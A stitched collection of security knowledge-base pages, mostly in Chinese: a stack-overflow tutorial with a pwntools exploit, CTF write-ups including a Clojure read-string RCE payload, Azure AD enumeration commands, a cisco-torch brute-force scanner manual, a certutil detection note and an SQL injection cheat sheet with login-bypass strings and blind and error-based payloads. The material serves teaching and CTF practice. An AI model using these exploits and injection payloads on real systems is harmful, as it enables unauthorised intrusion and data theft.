栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出漏洞,类似的还有堆溢出,bss 段溢出等溢出方式。栈溢出漏洞轻则可以使程序崩溃,重则可以使攻击者控制程序执行流程。此外,我们也不难发现,发生栈溢出的基本前提是
- 程序必须向栈上写入数据。
- 写入的数据大小没有被良好地控制。
### 栈溢出基本示例
最典型的栈溢出利用是覆盖程序的返回地址为攻击者所控制的地址,**当然需要确保这个地址所在的段具有可执行权限**。下面,我们举一个简单的例子:
```C
#include <stdio.h>
#include <string.h>
void success() { puts("You Hava already controlled it."); }
void vulnerable() {
char s[12];
gets(s);
puts(s);
return;
}
int main(int argc, char **argv) {
vulnerable();
return 0;
}
```
这个程序的主要目的读取一个字符串,并将其输出。**我们希望可以控制程序执行 success 函数。**
我们利用如下命令对其进行编译
```shell
➜ stack-example gcc -m32 -fno-stack-protector stack_example.c -o stack_example
stack_example.c: In function ‘vulnerable’:
stack_example.c:6:3: warning: implicit declaration of function ‘gets’ [-Wimplicit-function-declaration]
gets(s);
^
/tmp/ccPU8rRA.o:在函数‘vulnerable’中:
stack_example.c:(.text+0x27): 警告: the `gets' function is dangerous and should not be used.
```
可以看出 gets 本身是一个危险函数。它从不检查输入字符串的长度,而是以回车来判断输入是否结束,所以很容易可以导致栈溢出,
> 历史上,**莫里斯蠕虫**第一种蠕虫病毒就利用了 gets 这个危险函数实现了栈溢出。
gcc 编译指令中,`-m32` 指的是生成 32 位程序; `-fno-stack-protector` 指的是不开启堆栈溢出保护,即不生成 canary。
此外,为了更加方便地介绍栈溢出的基本利用方式,这里还需要关闭 PIE(Position Independent Executable),避免加载基址被打乱。不同 gcc 版本对于 PIE 的默认配置不同,我们可以使用命令`gcc -v`查看gcc 默认的开关情况。如果含有`--enable-default-pie`参数则代表 PIE 默认已开启,需要在编译指令中添加参数`-no-pie`。
编译成功后,可以使用 checksec 工具检查编译出的文件:
```
➜ stack-example checksec stack_example
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
```
提到编译时的 PIE 保护,Linux平台下还有地址空间分布随机化(ASLR)的机制。简单来说即使可执行文件开启了 PIE 保护,还需要系统开启 ASLR 才会真正打乱基址,否则程序运行时依旧会在加载一个固定的基址上(不过和 No PIE 时基址不同)。我们可以通过修改 `/proc/sys/kernel/randomize_va_space` 来控制 ASLR 启动与否,具体的选项有
- 0,关闭 ASLR,没有随机化。栈、堆、.so 的基地址每次都相同。
- 1,普通的 ASLR。栈基地址、mmap基地址、.so加载基地址都将被随机化,但是堆基地址没有随机化。
- 2,增强的ASLR,在 1 的基础上,增加了堆基地址随机化。
我们可以使用`echo 0 > /proc/sys/kernel/randomize_va_space`关闭 Linux 系统的 ASLR,类似的,也可以配置相应的参数。
为了降低后续漏洞利用复杂度,我们这里关闭 ASLR,在编译时关闭 PIE。当然读者也可以尝试 ASLR、PIE 开关的不同组合,配合 IDA 及其动态调试功能观察程序地址变化情况(在 ASLR 关闭、PIE 开启时也可以攻击成功)。
确认栈溢出和 PIE 保护关闭后,我们利用 IDA 来反编译一下二进制程序并查看 vulnerable 函数 。可以看到
```C
int vulnerable()
{
char s; // [sp+4h] [bp-14h]@1
gets(&s);
return puts(&s);
}
```
该字符串距离 ebp 的长度为 0x14,那么相应的栈结构为
```text
+-----------------+
| retaddr |
+-----------------+
| saved ebp |
ebp--->+-----------------+
| |
| |
| |
| |
| |
| |
s,ebp-0x14-->+-----------------+
```
并且,我们可以通过 IDA 获得 success 的地址,其地址为 0x0804843B。
```asm
.text:0804843B success proc near
.text:0804843B push ebp
.text:0804843C mov ebp, esp
.text:0804843E sub esp, 8
.text:08048441 sub esp, 0Ch
.text:08048444 push offset s ; "You Hava already controlled it."
.text:08048449 call _puts
.text:0804844E add esp, 10h
.text:08048451 nop
.text:08048452 leave
.text:08048453 retn
.text:08048453 success endp
```
那么如果我们读取的字符串为
```
0x14*'a'+'bbbb'+success_addr
```
那么,由于 gets 会读到回车才算结束,所以我们可以直接读取所有的字符串,并且将 saved ebp 覆盖为 bbbb,将 retaddr 覆盖为 success_addr,即,此时的栈结构为
```text
+-----------------+
| 0x0804843B |
+-----------------+
| bbbb |
ebp--->+-----------------+
| |
| |
| |
| |
| |
| |
s,ebp-0x14-->+-----------------+
```
但是需要注意的是,由于在计算机内存中,每个值都是按照字节存储的。一般情况下都是采用小端存储,即0x0804843B 在内存中的形式是
```text
\x3b\x84\x04\x08
```
但是,我们又不能直接在终端将这些字符给输入进去,在终端输入的时候\,x等也算一个单独的字符。。所以我们需要想办法将 \x3b 作为一个字符输入进去。那么此时我们就需要使用一波 pwntools 了(关于如何安装以及基本用法,请自行 github),这里利用 pwntools 的代码如下:
```python
##coding=utf8
from pwn import *
## 构造与程序交互的对象
sh = process('./stack_example')
success_addr = 0x0804843b
## 构造payload
payload = 'a' * 0x14 + 'bbbb' + p32(success_addr)
print p32(success_addr)
## 向程序发送字符串
sh.sendline(payload)
## 将代码交互转换为手工交互
sh.interactive()
```
执行一波代码,可以得到
```shell
➜ stack-example python exp.py
[+] Starting local process './stack_example': pid 61936
;\x84\x0
[*] Switching to interactive mode
aaaaaaaaaaaaaaaaaaaabbbb;\x84\x0
You Hava already controlled it.
[*] Got EOF while reading in interactive
$
[*] Process './stack_example' stopped with exit code -11 (SIGSEGV) (pid 61936)
[*] Got EOF while sending in interactive
```
可以看到我们确实已经执行 success 函数。
### 栈溢出寻找危险函数方式
通过寻找危险函数,我们快速确定程序是否可能有栈溢出,以及有的话,栈溢出的位置在哪里。常见的危险函数如下
- 输入
- gets,直接读取一行,忽略'\x00'
- scanf
- vscanf
- 输出
- sprintf
- 字符串
- strcpy,字符串复制,遇到'\x00'停止
- strcat,字符串拼接,遇到'\x00'停止
- bcopy
### 栈溢出确定填充长度
这一部分主要是计算**我们所要操作的地址与我们所要覆盖的地址的距离**。常见的操作方法就是打开 IDA,根据其给定的地址计算偏移。一般变量会有以下几种索引模式
- 相对于栈基地址的的索引,可以直接通过查看EBP相对偏移获得
- 相对应栈顶指针的索引,一般需要进行调试,之后还是会转换到第一种类型。
- 直接地址索引,就相当于直接给定了地址。
一般来说,我们会有如下的覆盖需求
- **覆盖函数返回地址**,这时候就是直接看 EBP 即可。
- **覆盖栈上某个变量的内容**,这时候就需要更加精细的计算了。
- **覆盖 bss 段某个变量的内容**。
- 根据现实执行情况,覆盖特定的变量或地址的内容。
之所以我们想要覆盖某个地址,是因为我们想通过覆盖地址的方法来**直接或者间接地控制程序执行流程**。
|
sec-knowleage
|
# Meow (re/crypto, 174p, 67 solved)
Officially this challenge was marked as `RE`, however we only reversed this as much as to be able to run it, and understand roughly what it might be doing, and then just solved this as blackbox crypto problem.
In the challenge we get [bytecode](meow.n) for NEKO VM and [encrypted flag](flag_enc.png).
First thing we did was to dump the [disassembly](meow.dump) via `nekoc -d meow.n`.
After some reversing, and replacing the global references in the code, we noticed that it seems to be doing 2 steps:
- some kind of sorting
- loop with `get_pixel, xor, set_pixel`
From simple blackbox analysis we could notice that each color channel has to be xored with the same value, because in case all 3 color channels had the same value, in the output they would also always have the same value.
There was some complex logic in the code to generate this xor keystream, but we figured that we should be able to get the keystream easier, simply by encrypting picture with all (0,0,0) pixels.
It worked only with pictures 768x768 so we rescaled our test vector to this size and did a simple sanity check:
- Encrypt a black image, to recover potential keystream.
- Encrypt a known picture, in our case: .
- Create a new picture from pixel values from the encrypted black image (keystream) and pixels of our encrypted test vector.
- This way we got: 
It all confirmed our predictions.
We managed to recover image with proper colors, but it seems to have randomly shifted columns, probably because of the `sort` step applied to the image.
Now we had to invert this shuffling.
It could probably be done by reversing the sorting and the used comparator, but we figured out much easier approach.
We encrypted a diagonal line: .
Then we dexored it using keystream from the black image, just like above:
```python
black_image = Image.open("black_enc.png")
diagonal_image = Image.open("skos_enc.png")
scrambling_image = Image.new("RGB", (768, 768))
scrambling_pixels = scrambling_image.load()
diagonal_pixels = diagonal_image.load()
keystream_pixels = black_image.load()
lookup = {}
for i in range(diagonal_image.size[0]):
for j in range(diagonal_image.size[1]):
color1 = diagonal_pixels[i, j]
color2 = keystream_pixels[i, j]
d = diff(color1, color2)
if d == (0, 0, 0):
scrambling_pixels[i, j] = d
lookup[i] = j
else:
scrambling_pixels[i, j] = (255, 255, 255,)
scrambling_image.save("scramble.png")
```
This way we got:

We included a lookup table in the loop, so we can use this now to invert the soring operation on the flag:
```python
result_image = Image.new("RGB", (768, 768))
result_pixels = result_image.load()
flag_enc = Image.open("flag_enc.png")
flag_enc_pixels = flag_enc.load()
for i in range(flag_enc.size[0]):
for j in range(flag_enc.size[1]):
color1 = flag_enc_pixels[i, j]
color2 = keystream_pixels[i, j]
d = diff(color1, color2)
if i in lookup:
result_pixels[lookup[i], j] = d
result_image.show()
result_image.save("flag.png")
```
After running this get recover 
|
sec-knowleage
|
# Writeup Ekoparty CTF 2015
Uczestniczyliśmy (msm, Rev, Shalom, other019, nazywam i pp) w Ekoparty CTF, i znowu spróbujemy opisać zadania z którymi walczyliśmy (a przynajmniej te, które pokonaliśmy).
Ogólne wrażenia:
Opisy zadań po kolei.
# Spis treści/Table of contents:
* Slogans (trivia 50)
* Banner (trivia 70)
* Mr Anderson (trivia 80)
* SSL Attack (trivia 90)
* Pass Check (web 50)
* Crazy JSON (web 200)
* Rand DOOM (web 300)
* SCYTCRYPTO (crypto 50)
* [XOR Crypter (crypto 200)](crpto_200_xorcrypter)
* Patch me (reverse 50)
* Malware (reverse 200)
* Olive (misc 50)
# Zakończenie
Zachęcamy do komentarzy/pytań/czegokolwiek.
|
sec-knowleage
|
# Graal (pwn, 477p, 13 solved)
A high level pwnable challenge for which we get [source code](main.clj) in Clojure/LISP.
Interestingly the challenge is very similar to task from Insomnihack few years back, which was written in LISP -> https://github.com/p4-team/ctf/tree/master/2016-03-18-insomnihack-final/misc_robots
The only important part is:
```lisp
(try
(-> (read-line)
(read-string))
(println "Good job, you know how to balance brackets. Now go, get the flag.")
(catch Exception e
(println "You need to work on your balancing skills."))))
```
The point is that input read by `read-string` is actually automatically evaluated as LISP code (a bit like `input()` function did in Python 2)!
This is how the "parenthesis checker" works here - by evaluating the input.
This means we can execute any valid Clojure code, which means we've got RCE here!
We can confirm this by sending `#=(println "test")` which gives us back echo.
Now we can simply invoke shell commands with `#=(clojure.java.shell/sh "cat" "flag.txt")` and if we combine this we get `#=(println #=(clojure.java.shell/sh "cat" "flag.txt"))` and server prints the flag for us: `hackover18{n3v3r_tru5s7_u53r_1npu7}`
|
sec-knowleage
|
# 枚举Azure
## 常见配置错误
_或者说Microsoft那些默认值带来的安全风险_
默认情况下,Azure对组织中的每个用户开放。这意味着,例如Office 365的客户很可能没有设置条件访问策略来阻止用户登录 [portal.azure.com](http://portal.azure.com/) 并检索每个用户,角色和组。因此他们不这样做,他们就不会清楚地知道用户在那里做什么。但那又为什么要询问域控制器并检测是否可以从Azure获得所需内容?下面列出了一些很有用的Powershell工具。
## 资料、工具、程序
### **一些很有用的文章**
* [https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/](https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/)
* [https://blog.netspi.com/enumerating-azure-services/](https://blog.netspi.com/enumerating-azure-services/)
* [https://blog.netspi.com/get-azurepasswords](https://blog.netspi.com/get-azurepasswords/)
### **工具**
* [https://github.com/mwrlabs/Azurite](https://github.com/mwrlabs/Azurite) - Azurite 被开发用来帮助帮助渗透测试人员和审计人员在Microsoft Azure公共云环境中进行枚举和侦察活动。
* [https://github.com/nccgroup/azucar](https://github.com/nccgroup/azucar) - AZUCAR自动收集各种配置的数据和分析,并分析与特定订阅相关的所有数据,以确定安全风险。
* [https://github.com/NetSPI/MicroBurst](https://github.com/NetSPI/MicroBurst) - MicroBurst 支持Azure服务发现,缺陷配置审计和发送攻击行为(例如凭证转储)功能。它旨在用于针对Azure的渗透测试期间。
* [https://github.com/chrismaddalena/SharpCloud](https://github.com/chrismaddalena/SharpCloud) - SharpCloud是一个用于查找与Amazon Web Services, Microsoft Azure, and Google Compute有关的凭证文件的C\#小工具。
### **程序**
一个小代码块,列举了一些枚举Azure AD的常用过程。
```text
### 枚举 Azure AD
#使用Powershell连接到Azure AD
install-module azuread
import-module azuread
get-module azuread
connect-azuread
# 列举 users 的 role global admins信息# 注意 role =! group
$role = Get-AzureADDirectoryRole | Where-Object {$_.displayName -eq 'Company Administrator'}
Get-AzureADDirectoryRoleMember -ObjectId $role.ObjectId
# 列出所有的 groups
Get-AzureADGroup
# 使用filter过滤袋一些信息的例子
Get-AzureADGroup -Filter "DisplayName eq 'Intune Administrators'"
# 获取 Azure AD policy
Get-AzureADPolicy
# 获取 Azure AD roles 的一些例子
Get-AzureADDirectoryRole
Get-AzureADDirectoryRole | Where-Object {$_.displayName -eq 'Security Reader'}
Get-AzureADDirectoryRoleTemplate
# 获取 Azure AD SPNs
Get-AzureADServicePrincipal
# 使用 Azure CLI (this is not powershell) 进行登录
az login --allow-no-subscriptions
# 获取成员列表 using Azure CLI
az ad group member list --output=json --query='[].{Created:createdDateTime,UPN:userPrincipalName,Name:displayName,Title:jobTitle,Department:department,Email:mail,UserId:mailNickname,Phone:telephoneNumber,Mobile:mobile,Enabled:accountEnabled}' --group='Company Administrators'
# 获取用户列表
az ad user list --output=json --query='[].{Created:createdDateTime,UPN:userPrincipalName,Name:displayName,Title:jobTitle,Department:department,Email:mail,UserId:mailNickname,Phone:telephoneNumber,Mobile:mobile,Enabled:accountEnabled}' --upn='username@domain.com'
# 用于获取 users / roles 数组的PS脚本
$roleUsers = @()
$roles=Get-AzureADDirectoryRole
ForEach($role in $roles) {
$users=Get-AzureADDirectoryRoleMember -ObjectId $role.ObjectId
ForEach($user in $users) {
write-host $role.DisplayName,$user.DisplayName
$obj = New-Object PSCustomObject
$obj | Add-Member -type NoteProperty -name RoleName -value ""
$obj | Add-Member -type NoteProperty -name UserDisplayName -value ""
$obj | Add-Member -type NoteProperty -name IsAdSynced -value false
$obj.RoleName=$role.DisplayName
$obj.UserDisplayName=$user.DisplayName
$obj.IsAdSynced=$user.DirSyncEnabled -eq $true
$roleUsers+=$obj
}
}
$roleUsers
# 使用Microburst进行枚举
https://github.com/NetSPI/MicroBurst
Import-Module .\MicroBurst.psm1
# 匿名枚举
Invoke-EnumerateAzureBlobs -Base company
Invoke-EnumerateAzureSubDomains -base company -verbose
# 身份验证枚举
Get-AzureDomainInfo -folder MicroBurst -VerboseGet-MSOLDomainInfo
Get-MSOLDomainInfo
```
|
sec-knowleage
|
---
title: cisco-torch
categories: Vulnerability Analysis
tags: [vulnerability analysis,kali linux,exploitation tools,cdpsnarf,information gathering]
date: 2016-10-19 14:11:46
---
0x00 cisco-torch介绍
-------------
Cisco Torch是集大规模扫描,指纹识别和利用工具的下一代“黑掉暴露的思科网络”工具,开发它的原因是上市场上提供的工具不能满足我们的需要。
Cisco-torch与类似工具不同的主要特性是大量启动多个后台扫描进程,以实现最高的扫描效率。此外,如果需要,它可以同时使用几种应用程序层指纹的方法。我们k'yi快速发现运行Telnet,SSH,Web,NTP和SNMP服务的远程思科主机,并针对发现的服务启动字典攻击。
工具来源:https://github.com/Zapotek/cdpsnarf
[cisco-torch主页][1] | [Kali cisco-torch Repo仓库][2]
- 作者:Born by Arhont Team
- 证书:LGPL-2.1
0x01 cisco-torch功能
---------------
cisco-torch - 思科设备扫描器
```shell
root@kali:~# cisco-torch
sing配置文件torch.conf ...
正在载入include和plugin ...
用法:cisco-torch <选项> <IP地址,主机名,网络段>
或:cisco-torch <选项> -F <主机列表文件>
可用选项:
-O <输出文件>
-A 组合所有指纹扫描类型
-t 思科Telnetd扫描
-s 思科SSHd扫描
-u 思科SNMP扫描
-g Cisco配置或tftp文件下载
-n NTP指纹扫描
-j TFTP指纹扫描
-l <type> 日志记录层次
c 关键摘要模式(默认)
v 详细模式
d 调试模式
-w 思科Web服务器扫描
-z 思科IOS HTTP授权漏洞扫描
-c 扫描支持SSL思科Web服务器
-b 密码字典攻击(仅与-s,-u,-c,-w,-j或-t一起使用)
-V 打印版本信息并退出
示例:
cisco-torch -A 10.10.0.0/16
cisco-torch -s -b -F sshtocheck.txt
cisco-torch -w -z 10.10.0.0/16
cisco-torch -j -b -g -F tftptocheck.txt
```
0x02 cisco-torch用法示例
-----------------
运行所有可用的扫描类型(-A)针对目标IP地址(192.168.99.202):
```shell
root@kali:~# cisco-torch -A 192.168.99.202
Using config file torch.conf...
Loading include and plugin ...
###############################################################
# Cisco Torch Mass Scanner #
# Becase we need it... #
# http://www.arhont.com/cisco-torch.pl #
###############################################################
List of targets contains 1 host(s)
8853: Checking 192.168.99.202 ...
HUH db not found, it should be in fingerprint.db
Skipping Telnet fingerprint
* Cisco by SNMP found ***
*System Description: Cisco Internetwork Operating System Software
IOS (tm) 3600 Software (C3640-IK9O3S-M), Version 12.3(22), RELEASE SOFTWARE (fc2)
Technical Support: http://www.cisco.com/techsupport
Copyright (c) 1986-2007 by cisco Systems, Inc.
Compiled Wed 24-Jan-07 1
Cisco-IOS Webserver found
HTTP/1.1 401 Unauthorized
Date: Tue, 13 Apr 1993 00:57:07 GMT
Server: cisco-IOS
Accept-Ranges: none
WWW-Authenticate: Basic realm="level_15_access"
401 Unauthorized
Cisco WWW-Authenticate webserver found
HTTP/1.1 401 Unauthorized
Date: Tue, 13 Apr 1993 00:57:07 GMT
Server: cisco-IOS
Accept-Ranges: none
WWW-Authenticate: Basic realm="level_15_access"
401 Unauthorized
--->
- All scans done. Cisco Torch Mass Scanner -
---> Exiting.
```
[1]: http://www.hackingciscoexposed.com/?link=tools
[2]: http://git.kali.org/gitweb/?p=packages/cisco-torch.git;a=summary%22
|
sec-knowleage
|
# T1140-win-去混淆/解码文件或信息
## 来自ATT&CK的描述
攻击者可能会使用混淆文件或信息来隐藏入侵。他们可能需要单独的机制来解码或模糊处理该信息,具体取决于他们打算如何使用它。这样做的方法包括内置恶意软件功能或使用系统上存在的实用程序。
经典的例子就是使用certutil解码已隐藏在证书文件中的远程访问工具,可移植可执行文件。另一个经典的例子是使用Windowscopy /b命令将二进制片段重组为恶意有效负载。
有时,作为用户执行的一部分,可能需要打开用户的操作以对其进行去模糊化或解密操作。可能还要求用户输入密码以打开由攻击者提供的受密码保护的压缩/加密文件。
## 测试案例
Certutil.exe是一个命令行程序,作为证书服务的一部分安装。您可以使用Certutil.exe转储和显示证书颁发机构(CA)配置信息,配置证书服务,备份和还原CA组件,以及验证证书,密钥对和证书链。
## 检测日志
windows security
windows sysmon
## 测试复现
简单的介绍一下Certutil 工具的使用方法
```yml
certutil/?
动词:
-dump -- 转储配置信息或文件
-dumpPFX -- 转储 PFX 结构
-asn -- 分析 ASN.1 文件
-decodehex -- 解码十六进制编码的文件
-decode -- 解码 Base64 编码的文件
-encode -- 将文件编码为 Base64
-deny -- 拒绝挂起的申请
-resubmit -- 重新提交挂起的申请
-setattributes -- 为挂起申请设置属性
-setextension -- 为挂起申请设置扩展
-revoke -- 吊销证书
-isvalid -- 显示当前证书部署
-getconfig -- 获取默认配置字符串
-ping -- Ping Active Directory 证书服务申请接口
-pingadmin -- Ping Active Directory 证书服务管理接口
-CAInfo -- 显示 CA 信息
-ca.cert -- 检索 CA 的证书
-ca.chain -- 检索 CA 的证书链
-GetCRL -- 获取 CRL
-CRL -- 发布新的 CRL [或仅增量 CRL]
-shutdown -- 关闭 Active Directory 证书服务
-installCert -- 安装证书颁发机构证书
-renewCert -- 续订证书颁发机构证书
-schema -- 转储证书架构
-view -- 转储证书视图
-db -- 转储原始数据库
-deleterow -- 删除服务器数据库行
-backup -- 备份 Active Directory 证书服务
-backupDB -- 备份 Active Directory 证书服务数据库
-backupKey -- 备份 Active Directory 证书服务证书和私钥
-restore -- 还原 Active Directory 证书服务
-restoreDB -- 还原 Active Directory 证书服务数据库
-restoreKey -- 还原 Active Directory 证书服务证书和私钥
-importPFX -- 导入证书和私钥
-dynamicfilelist -- 显示动态文件列表
-databaselocations -- 显示数据库位置
-hashfile -- 通过文件生成并显示加密哈希
-store -- 转储证书存储
-enumstore -- 枚举证书存储
-addstore -- 将证书添加到存储
-delstore -- 从存储删除证书
-verifystore -- 验证存储中的证书
-repairstore -- 修复密钥关联,或者更新证书属性或密钥安全描述符
-viewstore -- 转储证书存储
-viewdelstore -- 从存储删除证书
-UI -- 调用 CryptUI
-attest -- 验证密钥证明请求
-dsPublish -- 将证书或 CRL 发布到 Active Directory
-ADTemplate -- 显示 AD 模板
-Template -- 显示注册策略模板
-TemplateCAs -- 显示模板的 CA
-CATemplates -- 显示 CA 的模板
-SetCASites -- 管理 CA 的站点名称
-enrollmentServerURL -- 显示、添加或删除与 CA 关联的注册服务器 URL
-ADCA -- 显示 AD CA
-CA -- 显示注册策略 CA
-Policy -- 显示注册策略
-PolicyCache -- 显示或删除注册策略缓存项目
-CredStore -- 显示、添加或删除凭据存储项目
-InstallDefaultTemplates -- 安装默认的证书模板
-URLCache -- 显示或删除 URL 缓存项目
-pulse -- 以脉冲方式执行自动注册事件或 NGC 任务
-MachineInfo -- 显示 Active Directory 计算机对象信息
-DCInfo -- 显示域控制器信息
-EntInfo -- 显示企业信息
-TCAInfo -- 显示 CA 信息
-SCInfo -- 显示智能卡信息
-SCRoots -- 管理智能卡根证书
-verifykeys -- 验证公/私钥集
-verify -- 验证证书,CRL 或链
-verifyCTL -- 验证 AuthRoot 或不允许的证书 CTL
-syncWithWU -- 与 Windows 更新同步
-generateSSTFromWU -- 通过 Windows 更新生成 SST
-generatePinRulesCTL -- 生成捆绑规则 CTL
-downloadOcsp -- 下载 OCSP 响应并写入目录
-generateHpkpHeader -- 使用指定文件或目录中的证书生成 HPKP 头
-flushCache -- 刷新选定进程(例如 lsass.exe)中的指定缓存
-addEccCurve -- 添加 ECC 曲线
-deleteEccCurve -- 删除 ECC 曲线
-displayEccCurve -- 显示 ECC 曲线
-sign -- 重新签名 CRL 或证书
-vroot -- 创建/删除 Web 虚拟根和文件共享
-vocsproot -- 创建/删除 OCSP Web Proxy 的 Web 虚拟根
-addEnrollmentServer -- 添加注册服务器应用程序
-deleteEnrollmentServer -- 删除注册服务器应用程序
-addPolicyServer -- 添加策略服务器应用程序
-deletePolicyServer -- 删除策略服务器应用程序
-oid -- 显示 ObjectId 或设置显示名称
-error -- 显示错误代码消息文本
-getreg -- 显示注册表值
-setreg -- 设置注册表值
-delreg -- 删除注册表值
-ImportKMS -- 为密钥存档导入用户密钥和证书到服务器数据库
-ImportCert -- 将证书文件导入数据库
-GetKey -- 检索存档的私钥恢复 Blob,生成恢复脚本 或恢复存档的密钥
-RecoverKey -- 恢复存档的私钥
-MergePFX -- 合并 PFX 文件
-ConvertEPF -- 将 PFX 文件转换为 EPF 文件
-add-chain -- (-AddChain) 添加证书链
-add-pre-chain -- (-AddPrechain) 添加预植证书链
-get-sth -- (-GetSTH) 获取签名树头
-get-sth-consistency -- (-GetSTHConsistency) 获取签名树头更改
-get-proof-by-hash -- (-GetProofByHash) 获取哈希证明
-get-entries -- (-GetEntries) 获取项
-get-roots -- (-GetRoots) 获取根
-get-entry-and-proof -- (-GetEntryAndProof) 获取项和证明
-VerifyCT -- 验证证书 SCT
-? -- 显示该用法消息
CertUtil -? -- 显示动词列表(命名列表)
CertUtil -dump -? -- 显示 "dump" 动词的帮助文本
CertUtil -v -? -- 显示所有动词的所有帮助文本
CertUtil: -? 命令成功完成。
```
## 测试留痕
暂无
## 检测规则/思路
根据实现的方法不同,检测去混淆或解码文件信息的动作可能很困难。如果该功能包含在恶意软件中并使用Windows API,则与在加载的库或API调用上进行分析相比,尝试在操作之前或之后检测恶意行为可能会产生更好的结果。如果使用脚本,则可能需要收集脚本进行分析。执行过程和命令行监视,以检测与脚本和系统实用程序(如certutil)有关的潜在恶意行为。
监视常见归档文件应用程序和扩展的执行文件路径和命令行参数,例如Zip和RAR归档工具的扩展,并与其他可疑行为相关联,以减少来自正常用户和管理员行为的误报.
### splunk规则
```yml
index=windows source=”WinEventLog:Microsoft-Windows-Sysmon/Operational” (EventCode=1 Image=”*\\certutil.exe” CommandLine IN (“*encode*” , “*decode*”))
```
### 建议
如果你对windows有足够多的了解,那么相信你也知道应该如何去用Windows日志进行分析此类攻击行为,比如依靠4688中的进程和命令行参数进行检测分析。
## 参考推荐
MITRE-ATT&CK-T1140
<https://attack.mitre.org/techniques/T1140>
CMD 中certutil 操作命令
<https://www.cnblogs.com/zeng-qh/p/10608522.html>
|
sec-knowleage
|
# SQL 注入
## 基本概念
- SQL 注入是一种将 SQL 代码插入或添加到应用(用户)的输入参数中,之后再将这些参数传递给后台的 SQL 服务器加以解析并执行的攻击。
- 攻击者能够修改 SQL 语句,该进程将与执行命令的组件(如数据库服务器、应用服务器或 WEB 服务器)拥有相同的权限。
- 如果 WEB 应用开发人员无法确保在将从 WEB 表单、cookie、输入参数等收到的值传递给 SQL 查询(该查询在数据库服务器上执行)之前已经对其进行过验证,通常就会出现 SQL 注入漏洞。
## 常用工具
- Burp Suite:[Burp Suite 使用介绍](http://drops.xmd5.com/static/drops/tools-1548.html)
- Tamper Data (Firefox addon)
- HackBar (Firefox addon)
- sqlmap:[sqlmap 用户手册](http://drops.xmd5.com/static/drops/tips-143.html)
## 注入常见参数
- `user()`:当前数据库用户
- `database()`:当前数据库名
- `version()`:当前使用的数据库版本
- `@@datadir`:数据库存储数据路径
- `concat()`:联合数据,用于联合两条数据结果。如 `concat(username,0x3a,password)`
- `group_concat()`:和 `concat()` 类似,如 `group_concat(DISTINCT+user,0x3a,password)`,用于把多条数据一次注入出来
- `concat_ws()`:用法类似
- `hex()` 和 `unhex()`:用于 hex 编码解码
- `load_file()`:以文本方式读取文件,在 Windows 中,路径设置为 `\\`
- `select xxoo into outfile '路径'`:权限较高时可直接写文件
## 语法参考与小技巧
### 行间注释
- `--`
```sql
DROP sampletable;--
```
- `#`
```sql
DROP sampletable;#
```
### 行内注释
- `/*注释内容*/`
```sql
DROP/*comment*/sampletable` DR/**/OP/*绕过过滤*/sampletable` SELECT/*替换空格*/password/**/FROM/**/Members
```
- `/*! MYSQL专属 */`
```sql
SELECT /*!32302 1/0, */ 1 FROM tablename
```
### 字符串编码
- `ASCII()`:返回字符的 ASCII 码值
- `CHAR()`:把整数转换为对应的字符
## 后台万能密码
- `admin' --`
- `admin' #`
- `admin'/*`
- `' or 1=1--`
- `' or 1=1#`
- `' or 1=1/*`
- `') or '1'='1--`
- `') or ('1'='1--`
- 以不同的用户登陆 `' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--`
## 注入语句备忘
### 数据库名
```sql
SELECT database();
SELECT schema_name FROM information_schema.schemata;
```
### 表名
- union 查询
```sql
--MySQL 4版本时用version=9,MySQL 5版本时用version=10
UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10; /* 列出当前数据库中的表 */
UNION SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA=database(); /* 列出所有用户自定义数据库中的表 */
SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema!='information_schema' AND table_schema!='mysql';
```
- 盲注
```sql
AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A'
```
- 报错
```sql
AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)*2))) (@:=1)||@ GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),!@) HAVING @||MIN(@:=0); AND ExtractValue(1, CONCAT(0x5c, (SELECT table_name FROM information_schema.tables LIMIT 1)));
-- 在5.1.5版本中成功。
```
### 列名
- union 查询
```sql
UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'tablename'
```
- 盲注
```sql
AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A'
```
- 报错
```sql
-- 在5.1.5版本中成功
AND (1,2,3) = (SELECT * FROM SOME_EXISTING_TABLE UNION SELECT 1,2,3 LIMIT 1)
-- MySQL 5.1版本修复了
AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),FLOOR(RAND(0)*2))) (@:=1)||@ GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),!@) HAVING @||MIN(@:=0); AND ExtractValue(1, CONCAT(0x5c, (SELECT column_name FROM information_schema.columns LIMIT 1)));
```
- 利用 `PROCEDURE ANALYSE()`
```sql
-- 这个需要 web 展示页面有你所注入查询的一个字段
-- 获得第一个段名
SELECT username, permission FROM Users WHERE id = 1; 1 PROCEDURE ANALYSE()
-- 获得第二个段名
1 LIMIT 1,1 PROCEDURE ANALYSE()
-- 获得第三个段名
1 LIMIT 2,1 PROCEDURE ANALYSE()
```
### 根据列名查询所在的表
```sql
-- 查询字段名为 username 的表
SELECT table_name FROM information_schema.columns WHERE column_name = 'username';
-- 查询字段名中包含 username 的表
SELECT table_name FROM information_schema.columns WHERE column_name LIKE '%user%';
```
### 绕过引号限制
```sql
-- hex 编码
SELECT * FROM Users WHERE username = 0x61646D696E
-- char() 函数
SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)
```
### 绕过字符串黑名单
```sql
SELECT 'a' 'd' 'mi' 'n';
SELECT CONCAT('a', 'd', 'm', 'i', 'n');
SELECT CONCAT_WS('', 'a', 'd', 'm', 'i', 'n');
SELECT GROUP_CONCAT('a', 'd', 'm', 'i', 'n');
```
